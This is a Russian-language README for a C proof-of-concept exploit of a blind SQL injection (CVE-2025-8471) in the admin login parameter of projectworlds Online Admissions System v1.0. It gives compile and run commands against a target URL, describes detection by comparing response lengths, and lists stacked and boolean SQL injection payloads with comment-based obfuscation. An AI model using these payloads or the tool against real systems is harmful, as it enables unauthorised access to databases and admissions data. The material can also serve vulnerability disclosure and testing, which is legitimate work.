
Эксплуатация SQL-инъекции в projectworlds Online Admissions System v1.0
Автор: Byte Reaper
CVE: CVE-2025-8471
Уязвимость: SQL Injection в “projectworlds Online Admission System v1.0”
Описание:
Слепая SQL-инъекция существует в adminlogin.php?a_id=. Этот PoC отправляет серию GET-запросов с различными полезными нагрузками — как двухэтапными (INSERT … UNION SELECT …, SLEEP(), SELECT code …), так и строками "глубокой инъекции" — для обнаружения и перечисления проблемы через различия в длине ответа.
Убедитесь, что у вас установлены libcurl и argparse (например, на Debian/Ubuntu: sudo apt-get install libcurl4-openssl-dev).
Скомпилируйте:
gcc exploit.c argparse.c -o exploit -lcurl
./exploit -u <TARGET_BASE_URL> [-c cookies.txt] [-v]
-u, --url — Base URL of the target, e.g. http://vulnsite.com
-c, --cookies — (Optional) path to a cookies file to maintain session
-v, --verbose — Enable verbose libcurl output and full response dumps
./exploit -u http:// -v
Это:
Отправить обычный запрос к /adminlogin.php и записать его длину.
Провести итерацию по спискам двухэтапных и глубоких нагрузок, внедряя каждую в ?a_id=….
Сравнить длину ответа каждой инъекции с базовой линией.
Записывать каждую нагрузку, HTTP-статус (если ≥2xx) и наблюдаемую длину в result.log.
Тестируемые нагрузки: Двухэтапные
INSERT INTO stages (id,code) VALUES (3, 'UNION SELECT NULL --');
SELECT SLEEP(2);
SELECT code FROM stages WHERE id = 3;
Глубокая инъекция
'//OR//1=1--, '//OR//'a'='a'--, …
Включает инъекции boolean, time-based, union, substring, order-by, like, exists, comment-style.
Все нагрузки кодируются в URL через curl_easy_escape перед отправкой.
MIT License